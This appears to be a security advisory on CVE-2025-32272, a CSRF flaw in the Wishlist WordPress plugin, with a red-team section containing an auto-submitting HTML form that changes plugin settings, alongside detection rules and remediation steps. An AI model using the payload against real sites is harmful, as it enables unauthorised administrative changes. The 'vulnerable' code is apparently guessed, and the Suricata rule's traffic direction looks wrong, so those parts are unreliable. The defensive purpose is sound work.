CVE-2025-32272

Executive Summary

CVE-2025-32272 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Wishlist plugin for WordPress, developed by PickPlugins. This vulnerability allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions on their WordPress site, such as modifying plugin settings, deleting wishlists, or performing other state-changing operations. The vulnerability exists in all versions of the plugin up to and including 1.0.46. The CVSS score is 4.3 (Medium), indicating a moderate risk due to the requirement for user interaction and the lack of direct data confidentiality or availability impact. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Wishlist plugin is distributed through the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. The lack of a CSRF nonce in the plugin's administrative functions means that any authenticated user (with sufficient privileges) can be targeted. This poses a supply chain risk for site owners who rely on this plugin for e-commerce or user engagement features, as a compromised admin account could lead to further plugin manipulation or site defacement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim (an authenticated admin) must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): None (N) - No data is directly exposed.
• Integrity (I): Low (L) - The attacker can modify plugin settings or data.
• Availability (A): None (N) - No denial of service is possible.

Threat Level: Medium. The attack requires social engineering to trick an admin, but the impact is limited to the plugin's functionality.

Deep Dive & Mechanics

The Wishlist plugin for WordPress allows users to create and manage wishlists. The vulnerability lies in the plugin's administrative interface, where actions such as saving settings, deleting wishlists, or modifying user permissions are performed via HTTP POST requests. The plugin fails to include a CSRF nonce (a unique, secret token) in these forms or AJAX requests. Without a nonce, WordPress cannot verify that the request was intentionally made by the authenticated user.

An attacker can craft a malicious HTML page or email that, when viewed by an authenticated admin, automatically submits a forged request to the WordPress site. For example, the attacker could change the plugin's email notification settings or delete all wishlists. The request will be processed because the victim's browser automatically includes their session cookies.

The core issue is in the plugin's admin.php or similar file, where functions like save_settings() or delete_wishlist() are registered without a check_admin_referer() call.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.46):

// In admin/class-wishlist-admin.php
public function save_settings() {
    // No nonce check
    update_option('wishlist_settings', $_POST['wishlist_settings']);
    wp_redirect(admin_url('admin.php?page=wishlist-settings'));
}

Patched Code (hypothetical fix):

// In admin/class-wishlist-admin.php
public function save_settings() {
    // Add nonce check
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wishlist_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    update_option('wishlist_settings', $_POST['wishlist_settings']);
    wp_redirect(admin_url('admin.php?page=wishlist-settings'));
}

The fix involves adding a wp_nonce_field() in the form and a check_admin_referer() or wp_verify_nonce() in the handler.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with the Wishlist plugin version 1.0.46. Create an admin user account.
2. Craft Payload: Create an HTML file (csrf.html) that automatically submits a POST request to change the plugin's settings.

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="wishlist_save_settings">
    <input type="hidden" name="wishlist_settings[email_notify]" value="false">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Deliver: Host the file on an attacker-controlled server and send the link to the victim admin via email or social engineering.
4. Execute: When the admin visits the link, the form auto-submits, changing the plugin settings.

Blue Team (Detection & Defense)

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=wishlist_* parameters from unexpected referrers.
• Implement CSRF tokens in all plugin forms (as shown in the patched code).
• Use WordPress security plugins (e.g., Wordfence, Sucuri) that can detect and block CSRF attacks.
• Educate administrators to avoid clicking suspicious links while logged into the admin panel.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with action=wishlist_* parameters and no _wpnonce field.
• Logs: WordPress debug log entries showing unexpected settings changes or wishlist deletions.
• File: Presence of unexpected files in the wp-content/uploads/ directory (if the attacker uploaded a malicious file via a CSRF-triggered action).
• Database: Modified wp_options table entries for wishlist_settings without a corresponding audit log.

Detection Engineering

YARA Rule

rule CVE_2025_32272_CSRF_Wishlist {
    meta:
        description = "Detects vulnerable Wishlist plugin files missing CSRF nonce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32272"
    strings:
        $func1 = "save_settings" ascii wide nocase
        $func2 = "delete_wishlist" ascii wide nocase
        $nonce = "_wpnonce" ascii wide nocase
    condition:
        ($func1 or $func2) and not $nonce
}

Sigma Rule

title: CVE-2025-32272 CSRF Attempt on Wishlist Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks against the Wishlist plugin by monitoring for POST requests without a nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=wishlist_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates if nonce is present
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32272 CSRF Wishlist Plugin Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.uri; content:"action=wishlist_"; pcre:"/^(?!.*_wpnonce).*$/i"; classtype:attempted-recon; sid:10000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Wishlist plugin until a patched version is released.
2. Vendor Patch: Monitor the PickPlugins website or WordPress Plugin Directory for an update (version 1.0.47 or later).
3. Workaround: If the plugin must remain active, implement a Web Application Firewall (WAF) rule to block POST requests to admin-post.php that lack a _wpnonce parameter.
4. Code Fix: Add wp_nonce_field() to all plugin forms and check_admin_referer() to all action handlers.
5. User Education: Train administrators to never click on links or open attachments while logged into the WordPress admin panel.

Valters IT
Securing Digital Frontiers